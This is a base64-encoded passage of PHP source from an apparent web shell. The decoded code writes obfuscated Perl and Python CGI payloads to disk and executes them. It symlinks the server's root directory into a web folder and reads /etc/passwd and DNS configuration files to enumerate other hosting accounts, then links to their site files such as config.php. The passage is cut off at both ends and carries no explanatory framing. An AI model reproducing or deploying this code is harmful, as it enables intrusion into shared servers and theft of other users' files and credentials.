MW00K0RaTTRHb2g0RVlvQVhwTUNDT1dSbStJSkpRNkU3ZEJBejUrakp0SGZaK0FIekNoemY1UG1NY3VUbUlQQTh0ZHkrNjY3aXhydlBuOWJHVy9QVDc5K2V2ZjVjdkRsL1B6U1dOc3E1ZzhBTnM5eXBCQ0QybEt6KzU3RnFXVzR4cTcrYmpzZ2dXWnVJQWNvS0l0TjhBM2xSV20wUGVBNm8rTGxINHIzdmphaVRxY09RS3F3TlI5R213bHBCTEV2WWd5VmtYOEdqK2RENUFQRFBjZm91T0lVMGtRQWNyS0ZWa0tIWEZEQ2FGelFZZGMwSEpDS1NpZGRIWW5uMmtCSHlQeU9aNWhGUlp6ek5rNW93UzFqRHRWRFZJNWhuQkpFc2dtT1U4ZHhETnRzSTNQTWVkNTJYUk9Fb0xaam1JaERsbEhlTlFkaGd0TWI4NTdRbm5mU2FubEthRm9UR2xlQ2I5SHk3RXdoK0ljUDFLeHJBem5pR0NJbG1Nb3NWNnh6U0MySEw3ZzQzb2VzK1pXQVlGTlpUM1IyUGhEUTVVVlBaeHpKQnNEcGZrN0lFUEpmaVJpYUUvbGRmRHFlK2Z2d3lkS2JxTForVmEwYk13SnJYNU9BcGFlV2J6WkxiN1AwRlVRdDFXVEdRRmFvWThGRGZ3cXluRUo2RTArNGp1MGk4MTZDbVRiS2lncW5UREFqMEZKM05HSXZpSklNV29uZUt0YUFJM2hYU0NWN0liUjVOMkZOS1FjVUJLUWFUV3RYQVNyZUIxSjN6Yktnb25RWEV1ck91ZUo1Y0pmTERCZEttNmM1K0wvZzRKY2Nkc1RHWGlrblFEbURCNnJ5dHFLMjFiQ3p1T0JUbkxncVZiSjVTZ3RXbWZpT0VFOWIxdGRhSHRhY1hqT3I1dktrem9lYVc3UlY0OE9OU1E5TFhhUWRIdzhSSW1WUkJEdnl1SlJkYnFyMjVXbkw2ZTBidmEwVXErSlhjTFZ5ek5pODRxcDJqMWhNSGZZQzRRb0lWclUxZ2cxbFhVOTFFVUR2aWlJclJMblNvbFhsRm9zMnJBYUFydW1iWmNFTWNYUXpLckpwU3BwNkJsQWpoaDRmMmg3Q1U1N0ppcXpubS85WnQxODhLR1ZiSytWYkdVVHNhZUN5U242Rkh2UkwwTzBGcml4dThOSjZpVWtMYWwxakllMC96Q0Irb3JFTU1rQ2t5Qkllc1ZjUnRONWNCNmVjVWNTaDN1UGFKT21UY3BSOFVLOTB4a0ZRU01MZG4yamlPaStPZnNEOGh3d0xWcmFCVm01UU12QzFKNjA2UjF1Z01kY2hvZXVPcWtBTEpSOWdrWUpyN293bGlqZTZ2VVhsbDFvRnF5TTdHcWpjT2hVMXBaYU13bnVEaWVoVllhQ0dHUUVpdzEwWUF4cFBQcC9HeExKZ0Z1ZVdQTE92OXE1dHJaSWlyTmFxYTlETjROSVdjNHZVTmREazRJZXE2VkFaUW16OWEyWGlONUtwMkN2TC9OTm5MMi9ocnlIc1U4ZjNKYjZnc3gwd3JER3FXMUJuWG1rdGV0VzZSaDIwNzNtbGZUUnVOVnlvZG5kUW04VFdhaGFEZGlsVklpV24vV3ZvMU1LS0IwSzYwcGw0cXpORmpGU2lXQnNxcjNSRTZMbE00SXZBa0ZoRURKVDM5RkJlOXNyR3NpZUxVejNvb2VSQnlFZDNJcjVWQzNCY2kyK2lyUkk5RnN6Q09TMFZ6SlpDYmZoYTRMNXoyMi9XZ3RpcllHZFJCUXh5M0llV3dDMEFsZzFua0VBeDd5SjRqL2hZV3M5R1RUVmJWQ01IWU1BY3czZ2h6M2VSQjc2b2tHMWhuT3I0d2FsVXNMeHpXSDJnS1IySkhkQ2pTaEE1LzFxTmhUaFNiUW5MTndGM0wxNitETFNkL1NDZnNyRlZvd0Y2aUs2ckM4TWVPR1ZEcW9xbkxRUjE2andtR2dUa2R1SDhjQXV4QjBJQk5uQW9HNGlyQ2lUOGlrNGloc0wxNUFiNnExV2ZRVUZJNzJCL1g0OTN2b3lYWitwbUNQZStDM0V6dkpBM3d3L2x6YkNmbnVmaStzdmdFNkVMeXRCWmxpVFpIT3IxUnlESSt1bGJPWHhreFZJQ3lPdWx4blZ5dVBUMDB4TkNMdUZTcnU3a2VRTHRBK1hqWFB6dElRR1JJSGdoZFZrSDJMOXdTbURRL3cxd0hlbEROVS9DQXJ6UkF4WHZUTjNPbU9Nb29veVZWM0lJMytGYWFxOG5CVUZCUTZ0cjFPTlR1d3pTbmVwT3VHMnlnclJYazdoVk5oUmRUTXV2NWJBbVU2UzhybFplMUU2VS83RUFILzRINWVIS2ZTc1JBQUE9IikpKTsnOw0KCSRweSA9ICcjIS91c3IvYmluL3B5dGhvbicuIlxuaW1wb3J0IHpsaWIsIGJhc2U2NFxuYWxmYV9kYXRhPSciLl9fVUNFTl9EQVRBX0ZPTERFUl9fLiInXG4iLidldmFsKGNvbXBpbGUoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoImVKeWRXTjF6NGpnU2Z6Wi9oZFpUV2NPRzJKQzZ2UWRDMk1yTlRPNm1hbmZuNmliN2xGQXVZUXZ3anJGY2tnaXdVM04vKzNYcnd4YmdaS2JPRDFpVytsdmRQN1ZRNGpEcEVYaUtUYzJGSXRtcVVBczlvVWN4cStpaVpQMUJqKzB6VnF0Skw2aXBsTDJlSlZmRmhya3hsMjRrRDgxUU5NdjFMdS8xVmlWZjBES0ZNYmtsWWVpK3Q2STAzeDgrcFcvLytRSEc5N1NVcktlY2RVZDhJRDZtWXZYOE9KNzdpMGFJVktKUHl5Vk5jNnJvZ0Z5U01BRlBjQ1lKR3llUXExSDFJTGFzMTh2WmtxeVlRaFg5bXNzQmVGb3NHeUpyRUV3R2dxbXRxRHlMTkNHd0lGV1lGNEpsS2lSY2tENlhjVTNWT2k3a3NvQVloZ2xUV1ZMUkRjdmpqRmZMY0VCb2xaT1dDbmd0MFRNdEN5cVpUTUxCd05NWkptdStZY21YcldUaWExSnZGMldScFd1MUtjRzFBTGpCQkJUSHF1ZEM4T294ZlBmeDdSKy92Zi85SWYzUHg0OFA0VHlXZFZrb1VCRU9ZQnMxTnpBZ1gxenpHdlk0OE1kTzU0VjBDaTlrU0M0SThzZC84cUxxSS9WZ1NJeWtnUW5oaG41bXNBTVozMVpxU0hLK29VVTFKTWcvSk5rdVIyL1dTdFc0Mi9pZUpFbDRpVnRtS0FjNmxtYXN3L240Q3o3ekVJTmcrYUkvNlRPVm1TaGdJMm5KQkRpMFl5U2psU0xMQXVKcHVPTTREZ2NSdUNrS1dBaW5Ta0JtSEVwMkd5bTJWMWNRMzFVMXlWaWxtTGlKWmxPVno2WkxEcFFaTDdtNGpkN2N3ek1hUnpOam5YWm5jQmxPRXlTYVRST2tWM21IeUpJdEZRcWtaQzNZOGpZeS9HZzZzRWRFUWQ0eWRSdWxpNUpXbjZNVHBhUFIzZlgxeUNtMUlmRzAwa1p6aDdYMzk0NFJvMzF1N0tsTmJkVUFMZGFIUEd6S292cWM0TGcrMks5WTdaV05BZXplWlpoOHl3Y0lHenpSN0pQaFA3TTlVV0lHMmFxVEplZXBWZU5LYm5Pd05lNlhZaStBM1UwRm8zbXFxOGZWYkZESUZESmRiV25aVEQxVDBSQVpEQWxNSFBtdVlycEE3Q3dUQW1xMCtYUThqL05lQUFZeGFjZjVBdDNNUHBlRlZIYktxM2JOcFpQenlCUXI4OXhzdDZCeExRZ2FUYnhtVlFjK3hNaXNhYkFnQTROZTVMMStGYnpTSXB5b1ZwYU0wZGhPTUVIQ1RpbXRtRzQ1RUZaam1aRVJITVhaUlA1RjBVMm9EUjByeitGeThucE1iR1FUZnlmUG9uTzZ6OWFxMTRQbVhEZ1BtbFg1V3N3Njk5d1BaU1A5dTdiM3hmaTltRVlua1lXNDZnbGtPMG52UUFlY2hIaDQ3L0x3Sm5nOTRKYnN1eEx3WlJzczl0b1NKKzl4SG5FWmM4Q2NwUTA2WTVOQkZsemtEREJrSERsZ1hVRGxyUVNBYjM2bDhXWHlacVNmbXcxZ1VGRk5Sb1J1RmRjQXZnWkxaLzgzelA5MEJwYWR3UHhPcDVoOG5kaUI4UjhBdzk4azdRWkxCNVR3WS8xYThQeUF1Qm5zSWRSamVDOGg2TGd6QkU1S3ZVUE5YZ0lCdm1JQTdhSTJtVVh6WERBcDdRck82RExCakhqOEFaODVpZzRBNGxQRk5yWHB4VEREdTZCT1QzdjE3L1ZHOEVoR1JiWUdDUUlzME9OK0ZQLzB5MThjREF2N01CcUU1RXMwMUlaWUxBRnhodEtLOE13MTh6SG1RTjBmVzNyV2FndWdrbFJST2Z4cEYxb1JkZ1NwWEFPUVF4c1c1NHR3Q0E0YWFkaWFvU1BvOHpGY21uYkhzanUvVDNvNnh6MndhdHZhYnlJTXAxZ01wMW05MnhZNXRvUlNVZFh5d1djS0M0TzQzdWw0V2crN2dlQkZiLzM1ZGhvNzRDWVpUT3Mzc1Y2REoyQkEzL1RJVTNMZElhZHhBSWtlUi9QZWNWajE3SGp1cFBuZ2E0VWQ4WS9uZmo2ZUNSb2RMM3Q1WjZGbzBxUUtJSWEyKy9GNmpxYi9QQnAxUnNmVDBIU1JacUhwZkUyejRVTHpOWEZubTE4R0Z5NFBqTTZmNTY3ZkJZOHN1VmNvUDV3YTdJbXkycG8wTkUwMVpLS09rNUZsUlowQVB0NFNUc0tCOTR2MitKbllUSzd5NCtOQmc0Uk9iZ0FKTGNzN21JQVFYOGZiVXFVWXRxYitPNnh4d2E3Uzc2MTBuZWVXQzhRNVJpZW8xZWxXVHNyZGNtbWlRcExmUVg3RGU3TG5tQjRuVWZIbE4vVWxXcFU0YURmbEtoeUcrdGh6V0tHL3ZYeE9vV3l3cHFCNHpMNlJLdzNIOEp6MmlRNHhrT3h4TkduWTU3aVJ4b0tqYVdkdnZqQ0pCM2wzWVpRTXJaMWVGSUVJOXJSUjJRVGtPQjZCdlk3dG5RU2JiZm91cGhQVGlkeVR5MXZuU0p0SlRXZm5lUmZUR2hxRnZKOHZtbHAxOU1jblFhdTdLY0NYMUxmYVBmVHFDSU90NlVheGlZTGZvM2NCV1d1STVYL0JEQzhHdnNoamgxM0xrcGdqR2Q3WXU4RFJESGNhc0NqVlZaS211bGpURkVFeFRSRU12TDhUdk03bkxkZ0ozY21WT3RSc1FyQm5TZkErLzFROVZWTWN6S2IyL0M4VUtIbkxNY3lMQTduNzlmNk9QTEM3MzBDOVhwbnFybWRHditpMkoyY1pGMVFmSEJWVXk4M1hhV0xXcDRrUmg2YVR4YXB0YjB3YkVqYUdSZE84ZUxhdEZHQk9uaGZWYWpJZTFmc2IyM3BkTGJoU2ZHUG1UT00yR2RkN1FITzVCaHZmTFBWelk3dTI1VkozYmVjOUdmWTdWenRXck5acXN1QmxiaVprOFJlYlhQOGRKSWV0ejVKRGl5aHBUbjZFUFg4dVpJRXQ0MytKYlozSVB3N2szd2UxNXRVMEFkTm5jUFczWnpFZXVRY0p1OXdQeFlaY2lTWHhMcnU2dG9FQ1V3VC96dWhIM21Ka0Y3TTEzZ3RPVnB4a2MzME5FMndwem0vT21tNnRhSmJabytpTjhRZXMvWVQrZk5MK2ZIRCtQRlVmOVhrdllTcG5lMmpMNzNsWjhoMDQrU3VJbEUvVk8zMWg0dUtnQ1hSUUxHOWNROEk4VlhkNS9nREpaSElKVUF6cW8xN1hCSk1KZi9EamI2UTJTUWEwLzRMRHBZUmordHZrbUJ5YjVwb1FPNmNBSUhlWE9veWJlQ2NLeGZwdXhjeGxKWmY0LzJHdnEzMTY3WHAzRENmZVh3VmhleEZsWGN2MlRnbnJwMjNVRU84bS9yM0RaQ0ZVVDAwcmQzRXdLU3RZRGhlR0MramZjUTBLeDVKaUt3QkMvZ2VqQm1rayIpKSxcJzxzdHJpbmc+XCcsXCdleGVjXCcpKSc7DQoJJGNnaW5hbWUgPSAic3ltcGVybC5hbGZhIjsNCgkkc291cmNlID0gJHBlcmw7DQoJJGxhbmcgPSAicGVybCI7DQoJaWYoJF9QT1NUWyJhbGZhMiJdPT0ic3ltcHkiKXsNCgkJJGNnaW5hbWUgPSAicHlzeW1saW5rLmFsZmEiOw0KCQkkc291cmNlID0gJHB5Ow0KCQkkbGFuZyA9ICJweXRob24iOw0KCX0NCglAX193cml0ZV9maWxlKCRjZ2luYW1lLCRzb3VyY2UpOw0KCUBjaG1vZCgkY2dpbmFtZSwwNzU1KTsNCgllY2hvIF9fcHJlKCk7DQoJJHJlc291cmNlID0gYWxmYUV4KCJ7JGxhbmd9IHskY2dpbmFtZX0geyRzeW1wYXRofSIsZmFsc2UsdHJ1ZSx0cnVlKTsNCglpZihzdHJsZW4oJHJlc291cmNlKSA9PSAwKXsNCgkJZWNobyBBbGZhaUZyYW1lQ3JlYXRvcignY2dpYWxmYS8nLiRjZ2luYW1lKTsNCgl9ZWxzZXsNCgkJZWNobyAkcmVzb3VyY2U7DQoJfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNCddKSAmJiAkX1BPU1RbJ2FsZmE0J109PSdTeW1GaWxlJyl7DQppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7DQpBbGZhTnVtKDksMTApOw0KZWNobyBfX3ByZSgpLicNCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayBGaWxlIEFuZCBEaXJlY3RvcnkgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLFwnU3ltRmlsZVwnLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnN5bWZpbGUudmFsdWUsdGhpcy5zeW1saW5rLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIHBsYWNlaG9sZGVyPSJFeGFtcGxlIDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHBsYWNlaG9sZGVyPSJFeGFtcGxlIDogYWxmYS50eHQiIHNpemU9IjYwIi8+DQo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0ic3ltbGluayIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7DQokcGF0aCA9ICRfUE9TVFsnYWxmYTUnXTsNCiRzeW1uYW1lID0gJF9QT1NUWydhbGZhNiddOw0KJHNvbGV2aXNpYmxlNTggPSAkX1BPU1RbJ2FsZmE3J107DQppZigkc29sZXZpc2libGU1OCl7DQokbmV3X25hbWUgPSBzdHJfcmVwbGFjZSgiLiIsICJfIiwgYmFzZW5hbWUoJHN5bW5hbWUpKTsNCiRyYW5kX2RpciA9ICRuZXdfbmFtZS5yYW5kKDExMSw5OTk5KTsNCiRzeW1fZGlyID0gJ3VjZW5zeW1saW5rcGhwLycuJHJhbmRfZGlyLicvJzsNCkBta2Rpcigkc3ltX2RpciwgMDc3NywgdHJ1ZSk7DQphbGZhY2dpaHRhY2Nlc3MoJ3N5bScsICRzeW1fZGlyLCAkc3ltbmFtZSk7DQpfYWxmYV9zeW1saW5rKCIkcGF0aCIsIiRzeW1fZGlyLyRzeW1uYW1lIik7DQplY2hvIF9fcHJlKCk7DQplY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSI+Q2xpY2sgPj4gPC9mb250PjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLl9fVUNFTl9EQVRBX0ZPTERFUl9fLiIvIi4kc3ltX2Rpci4nIiA+PGI+PGZvbnQgc2l6ZT0iNCI+Jy4kc3ltbmFtZS4nPC9mb250PjwvYj48L2E+PC9iPjwvY2VudGVyPic7DQp9DQp9ZWxzZXtlY2hvICI8Y2VudGVyPjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+WytdIFN5bWxpbmsgRnVuY3Rpb24gRGlzYWJsZWQgITwvYj48L2ZvbnQ+PC9wcmU+PC9jZW50ZXI+Ijt9DQp9DQppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICRfUE9TVFsnYWxmYTInXT09J3N5bXBocCcpew0KJGNhbnRfc3ltbGluayA9IHRydWU7DQppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2FsZmFfY2FuX3J1bkNvbW1hbmQoZmFsc2UsZmFsc2UpKXsNCkBta2RpcigndWNlbnN5bWxpbmsnLDA3NzcpOw0KYWxmYWNnaWh0YWNjZXNzKCdzeW0nLCd1Y2Vuc3ltbGluay8nKTsNCl9hbGZhX3N5bWxpbmsoJy8nLCd1Y2Vuc3ltbGluay9yb290Jyk7DQokdGFibGVfaGVhZGVyID0gIjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+PHRhYmxlIGlkPSd0Ymxfc3ltcHBocCcgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJScgY2xhc3M9J21haW4nIGJvcmRlcj0nMSc+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkZGRjAxOyc+PGI+Kjwvc3Bhbj48L2I+PC90ZD48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiMwMEEyMjA7Jz48Yj5Eb21haW5zPC9zcGFuPjwvYj48L3RkPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6I0ZGRkZGRjsnPjxiPlVzZXJzPC9zcGFuPjwvYj48L3RkPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6I0ZGMDAwMDsnPjxiPnN5bWxpbms8L3NwYW4+PC9iPjwvdGQ+IjsNCmlmKF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL25hbWVkLmNvbmYiKSAmJiAhX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKSAmJiBfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92YWxpYXNlcy8iKSl7DQplY2hvICI8Y2VudGVyPiI7DQokbGluZXMgPSBhcnJheSgpOw0KJGFub255X2RvbWFpbnMgPSBhcnJheSgpOw0KJGFub255bW91c191c2VycyA9IGFycmF5KCk7DQokZl9ibGFjayA9IGFycmF5KCk7DQokZXJyb3IgPSBmYWxzZTsNCiRhbm9ueW1vdXMgPSBmYWxzZTsNCiRtYWtlcHdkID0gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbC8iOw0KJGRvbWFpbnMgPSBhbGZhR2V0RG9tYWlucygpOw0KJGxpbmVzID0gJGRvbWFpbnNbImxpbmVzIl07DQokc3RhdGUgPSAkZG9tYWluc1sic3RhdGUiXTsNCiRpc19wb3NpeCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpOw0KJGNhbl9ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZChmYWxzZSxmYWxzZSk7DQppZighJGlzX3Bvc2l4ICYmICEkY2FuX3J1bmNtZCl7DQoJJGFub255bW91cyA9IHRydWU7DQoJJGFub255X2RvbWFpbnMgPSAkZG9tYWluc1sibGluZXMiXTsNCgkkbGluZXMgPSBfYWxmYV9maWxlKCcvZXRjL3Bhc3N3ZCcpOw0KfQ0KZWNobyAkdGFibGVfaGVhZGVyOw0KJGNvdW50PTE7DQokdGVtcGxhdGUgPSAnPHRyPjx0ZD48c3BhbiBzdHlsZT0iY29sb3I6I0ZGRkYwMTsiPntjb3VudH08L3NwYW4+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdDsiPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJ7aHR0cH0iLz48c3BhbiBzdHlsZT0iY29sb3I6IzAwQTIyMDttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e2RvbWFpbn08L2I+IDwvYT48L3NwYW4+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdDsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkZGRkZGO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57b3duZXJ9PC9mb250PjwvYj48L3RkPjx0ZD48YSBocmVmPSInLl9fVUNFTl9EQVRBX0ZPTERFUl9fLicvdWNlbnN5bWxpbmsvcm9vdHtzeW1wYXRofSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkYwMDAwOyI+U3ltbGluazwvc3Bhbj48L2E+PC90ZD48L3RyPic7DQpmb3JlYWNoKCRsaW5lcyBhcyAkbGluZSl7DQoJJGRvbWFpbiA9ICIiOw0KCSRvd25lciA9ICIiOw0KCWlmKCRhbm9ueW1vdXMpew0KCQkkZXhwbG9kZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7DQoJCSRvd25lciA9ICRleHBsb2RlWzBdOw0KCQkkb3duZXJfbGVuID0gc3RybGVuKCRvd25lcikgLSAxOw0KCQkkdXNlcmlkID0gJGV4cGxvZGVbMl07DQoJCWlmKChpbnQpJHVzZXJpZCA8IDUwMCljb250aW51ZTsNCgkJJGRvbWFpbiA9ICJbPz8/Pz9dIjsNCgkJJHRlbXBfYmxhY2sgPSBhcnJheSgpOw0KCQkkZmluZGVkID0gZmFsc2U7DQoJCWZvcmVhY2goJGFub255X2RvbWFpbnMgYXMgJGFub255KXsNCgkJCWlmKCRzdGF0ZSA9PSAibmFtZWQuY29uZiIpew0KCQkJCWlmKEBzdHJzdHIoJGFub255LCAnem9uZScpKXsNCgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRhbm9ueSwgJGRhdGEpOw0KCQkJCQkkZG9tYWluID0gJGRhdGFbMV1bMF07DQoJCQkJfWVsc2V7DQoJCQkJCWNvbnRpbnVlOw0KCQkJCX0NCgkJCX1lbHNlaWYoJHN0YXRlID09ICJuYW1lZCIgfHwgJHN0YXRlID09ICJ2YWxpYXNlcyIpew0KCQkJCWlmKCRhbm9ueSA9PSAiLiIgfHwgJGFub255ID09ICIuLiIpY29udGludWU7DQoJCQkJaWYoJHN0YXRlID09ICJuYW1lZCIpJGFub255ID0gcnRyaW0oJGFub255LCAiLmRiIik7DQoJCQkJJGRvbWFpbiA9ICRhbm9ueTsNCgkJCX0NCgkJCSRzdWJfZG9tYWluID0gc3RyX3JlcGxhY2UoYXJyYXkoIi0iLCIuIiksICIiLCAkZG9tYWluKTsNCgkJCWlmKHN1YnN0cigkb3duZXIsIDAsICRvd25lcl9sZW4pID09IHN1YnN0cigkc3ViX2RvbWFpbiwgMCwgJG93bmVyX2xlbikpew0KCQkJCWlmKGluX2FycmF5KCRvd25lci4kZG9tYWluLCAkdGVtcF9ibGFjaykpY29udGludWU7DQoJCQkJJHN5bXBhdGggPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJG93bmVyLCAkbWFrZXB3ZCk7DQoJCQkJJGh0dHAgPSAiaHR0cDovLyIuJGRvbWFpbjsNCgkJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9IiwgIntodHRwfSIsICJ7ZG9tYWlufSIsICJ7b3duZXJ9IiwgIntzeW1wYXRofSIpLCBhcnJheSgkY291bnQsICRodHRwLCAkZG9tYWluLCAkb3duZXIsICRzeW1wYXRoKSwgJHRlbXBsYXRlKTsNCgkJCQkkY291bnQrKzsNCgkJCQkkdGVtcF9ibGFja1tdID0gJG93bmVyLiRkb21haW47DQoJCQkJJGZpbmRlZCA9IHRydWU7DQoJCQl9DQoJCX0NCgkJaWYoISRmaW5kZWQpew0KCQkJJGFub255bW91c191c2Vyc1tdID0gJG93bmVyOw0KCQl9DQoJfWVsc2V7DQogCQlpZigkc3RhdGUgPT0gIm5hbWVkLmNvbmYiKXsNCgkJCWlmKEBzdHJzdHIoJGxpbmUsICd6b25lJykpew0KCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOw0KCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsNCgkJCX1lbHNlew0KCQkJCWNvbnRpbnVlOw0KCQkJfQ0KCQl9ZWxzZWlmKCRzdGF0ZSA9PSAibmFtZWQiIHx8ICRzdGF0ZSA9PSAidmFsaWFzZXMiKXsNCgkJCWlmKCRsaW5lID09ICIuIiB8fCAkbGluZSA9PSAiLi4iKWNvbnRpbnVlOw0KCQkJaWYoJHN0YXRlID09ICJuYW1lZCIpJGxpbmUgPSBydHJpbSgkbGluZSwgIi5kYiIpOw0KCQkJJGRvbWFpbiA9ICRsaW5lOw0KCQl9DQoJCWlmKHN0cmxlbih0cmltKCRkb21haW4pKSA+IDIgJiYgJHN0YXRlICE9ICJwYXNzd2QiKXsNCgkJCWlmKCFfYWxmYV9maWxlX2V4aXN0cygnL2V0Yy92YWxpYXNlcy8nLiRkb21haW4sIGZhbHNlKSljb250aW51ZTsNCgkJCWlmKCRpc19wb3NpeCl7DQoJCQkJJHVzZXIgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkb21haW4pKTsNCgkJCQkkb3duZXIgPSAkdXNlclsibmFtZSJdOw0KCQkJfWVsc2VpZigkY2FuX3J1bmNtZCl7DQoJCQkJJG93bmVyID0gYWxmYUV4KCJzdGF0IC1jICclVScgL2V0Yy92YWxpYXNlcy8iLiRkb21haW4sZmFsc2UsZmFsc2UpOw0KCQkJfQ0KCQl9DQoJfQ0KCWlmKCEkYW5vbnltb3VzKXsNCgkJaWYoc3RybGVuKCRvd25lcik9PTAgfHwgaW5fYXJyYXkoJG93bmVyLiRkb21haW4sICRmX2JsYWNrKSljb250aW51ZTsNCgkJJHN5bXBhdGggPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJG93bmVyLCAkbWFrZXB3ZCk7DQoJCSRodHRwID0gImh0dHA6Ly8iLiRkb21haW47DQoJCWlmKCRzdGF0ZSA9PSAicGFzc3dkIil7DQoJCQkkaHR0cCA9ICJqYXZhc2NyaXB0OmFsZXJ0KCd3ZSBjYW50IGZpbmQgZG9tYWluLi4uJykiOw0KCQl9DQoJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCAie2h0dHB9IiwgIntkb21haW59IiwgIntvd25lcn0iLCAie3N5bXBhdGh9IiksIGFycmF5KCRjb3VudCwgJGh0dHAsICRkb21haW4sICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOw0KCQkkY291bnQrKzsNCgkJJGZfYmxhY2tbXSA9ICRvd25lci4kZG9tYWluOw0KCX0NCn0NCmlmKCRhbm9ueW1vdXMpew0KCWZvcmVhY2goJGFub255bW91c191c2VycyBhcyAkb3duZXIpew0KCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsNCgkJJGh0dHAgPSAiamF2YXNjcmlwdDphbGVydCgnd2UgY2FudCBmaW5kIGRvbWFpbi4uLicpIjsNCgkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgIls/Pz8/XSIsICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOw0KCQkkY291bnQrKzsNCgl9DQp9DQokY2FudF9zeW1saW5rID0gZmFsc2U7DQp9ZWxzZXsNCiRpc19kaXJlY3QgPSBmYWxzZTsNCiRtYWtlcHdkID0gYWxmYU1ha2VQd2QoKTsNCmlmKF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpew0KCSRtYWtlcHdkID0gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbCI7DQoJJGlzX2RpcmVjdCA9IHRydWU7DQp9DQokc29sZSA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsNCiRjb3VudD0xOw0KZWNobyAkdGFibGVfaGVhZGVyOw0KJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy57dXJsfSIvPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBBMjIwO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57dXJsfTwvYj4gPC9hPjwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGRkY7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPnt1c2VyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX1VDRU5fREFUQV9GT0xERVJfXy4nL3VjZW5zeW1saW5rL3Jvb3R7Y3dkfSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkYwMDAwOyI+U3ltbGluazwvc3Bhbj48L2E+PC90ZD48L3RyPic7DQppZigkc29sZSl7DQoJZm9yZWFja